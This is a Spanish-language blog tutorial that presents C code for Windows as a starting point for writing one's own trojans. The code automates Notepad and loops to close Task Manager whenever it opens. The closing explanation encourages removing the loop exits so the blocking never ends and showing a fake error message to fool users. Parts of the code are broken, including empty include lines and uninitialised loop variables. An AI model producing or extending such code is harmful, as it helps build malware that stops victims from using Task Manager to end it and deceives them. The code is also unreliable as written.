Tutorial: Programa en Lenguaje C para comenzar a hacer tus propios troyanos


En este tutorial vamos a programar una sencilla aplicación que hace 2 opciones:

  1. Escribir en Bloc de notas desde el programa automáticamente y juega con las ventanas automáticamente.
  2. Mantiene cerrado el TaskManager o Administrador de tareas por un tiempo indeterminado.

Obviamente hay maneras mucho más complejas de hacer estas mismas operaciones pero quiero darles una idea del algún programa sencillo para comenzar a idear tus troyanos propios. Este programa no se conecta por Cliente-Servidor, recuerdo, es solo para que se hagan una idea de como comenzar a programar malwares.

Independientemente del compilador e IDE que usen, voy a usar Dev-C++ debido a que es gratuito y compila con GCC. El lenguaje de programación que vamos a usar es el Lenguaje C.

Si no saben como instalar  Dev-C++ pueden darse una vuelta por este link: Curso de Lenguaje C

  1. Abrimos nuestro Dev-C++. 
  2. Nuevo>Archivo Fuente (O presionamos Ctrl+N).
  3. Copiamos el código (Dentro del código dice “ver fuente”, copialo de ahí) y compilamos.
/*===========================================================´*/
// Nombre: Primeros pasos con los troyanos en C
// Autor: Camilo Alexander Rodríguez Cuarán
// Fecha: 18/09/11 07:32 AM
/*===========================================================´*/

//   LIbrerías o Headers
#include
#include
#include
#include

void menu();
void juego();
void bloqueo();

int main()
{
    //BringWindowToTop       SetConsoleTitle("Prueba");
    menu();
    return 0;
}

void menu()
{
     char opc;
     system("CLS");
     printf("\n Bienvenido usuario, este programa muestra diferentes opciones:\n\n");                                  //
     printf(" 1) Juego de Notepad y Console C.\n");
     printf(" 2) Bloqueo TaskManager.\n");
     printf(" 3) Salir.\n\n\n");
     printf(" Escoga la opcion que desea: ");
     opc=getch();
     fflush(stdin);
     fflush(stdout);
     switch(opc)
     {
                case 49:
                     {
                               juego();
                               break;
                     }
                case 50:
                     {
                               bloqueo();
                               break;
                     }
                case 51:
                     {
                               exit(0);
                     }
                default:
                     {
                               fflush(stdin);
                               fflush(stdout);
                               system("CLS");
                               printf("\n\n\t\t\t      Opcion incorrecta!!\n\n Favor ingrese valores correctos.\n\n\n");
                               printf(" Presione una tecla para re-intentar: ");
                               getche();
                               break;
                     }
     }
     menu();
}

void juego()
{
     char c;
     int i;
     HWND hwnd,hwnd2,console=FindWindow(NULL,"Prueba"),mbox; // Declaramos los manejadores de ventana
     ShowWindow(console,SW_MINIMIZE);
     WinExec("C:/WINDOWS/NOTEPAD.EXE", SW_NORMAL); // Ejecutamos el Notepad
     if(hwnd=FindWindow(NULL,"Sin título: Bloc de notas"))// capturamos la ventana del Notepad
     {
         hwnd2= FindWindowEx(hwnd,NULL,"Edit",NULL);// Capturamos la clase "edit"
     }
     else
     {
         hwnd=FindWindow(NULL,"Untitled - Notepad");
         hwnd2= FindWindowEx(hwnd,NULL,"Edit",NULL);// Capturamos la clase "edit"
     }

     LRESULT result = SendMessage(hwnd2,WM_SETTEXT,0,LPARAM("Los suspiros son aire, y van al aire.\
                                                            \n          Las lágrimas son agua y van al mar.\
                                                            \n          Dime, mujer: cuando el amor se olvida,\
                                                            \n        ¿Sabes tú adónde va?."));// El parametro que se manda
     Sleep(10000);    // Dormimos el programa durante 20 segundos expresado como milisegundos
     MessageBox(NULL,"Para cerrar el Notepad o Bloc de notas presione f12","Check", MB_SETFOREGROUND | MB_OK | MB_ICONASTERISK);
     ShowWindow(mbox,SW_NORMAL);
     while(i){
           if(GetAsyncKeyState(VK_F12)==-32767)
           {
             PostMessage( hwnd, WM_CLOSE, 0, 0);
             break;
           }
           Sleep(60);
       }
     ShowWindow(console,SW_NORMAL);
     fflush(stdin);
     fflush(stdout);
}

void bloqueo()
{
     HWND ven;
     int i;
     while(i)
     {
       Sleep(60);
       if(ven=FindWindow(0,"Windows Task Manager"))
       {                              // Busca el task
         PostMessage( ven, WM_CLOSE, 0, 0);                                            // Se cierra el task
         MessageBox(NULL,"Se intentó abrir el Task Manager.","Ok",MB_SETFOREGROUND | MB_OK | MB_ICONSTOP);
         break;
       }
       if(ven=FindWindow(0,"Administrador de tareas de Windows"))
       {
         PostMessage( ven, WM_CLOSE, 0, 0);
         MessageBox(NULL,"Se intentó abrir el Task Manager.","Ok",MB_SETFOREGROUND | MB_OK | MB_ICONSTOP);
         break;
       }
     }
}

Ahora explico cada parte del código:

  1. Acá añado cada librería que necesito para el programa, explico solo para este caso. stdio.h es para imprimir datos. conio.h para las funciones getch() y getche(). windows.h para todas las funciones que usan el API de Win32. wincon.h la incluyo porque en muchas compilaciones produce errores lógicos si no se encuentra incluida.
  2. Declaro todas las funciones o subprogramas (como deseen llamarlos) y desarrollo el main, donde le cambio el título a la consola a la consola q quiera y voy a la función menu();. También añadí un comentario para los que deseen consultar sobre esta función para sus programas q no son en consola.
  3. Ahora desarrollamos la función menu() donde declaro una variable tipo char para guardar la opción que escoja el usuario y mediante un getch() obtengo el valor y lo almaceno en la variable. Luego proceso la variable con un switch. Y al final retorno a la misma función.
  4. Luego desarrollo la función juego(), en los comentarios de las líneas está la explicación de lo que hace cada función.
  5. En la siguiente función desarrollo en como bloquearía el Taskmanager, uso dos if para diferencias los dos idiomas, español e inglés; en el MessageBox puedes usar algo como “Error 0x689FF, no se encuentra el programa.” o algo parecido, y también deberías quitar las sentencias break; para que el ciclo nunca acabe ;) 

Y hasta aquí concluye este tutorial, espero haberte abierto la imaginación o implementes esto en tus códigos.

About these ads

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s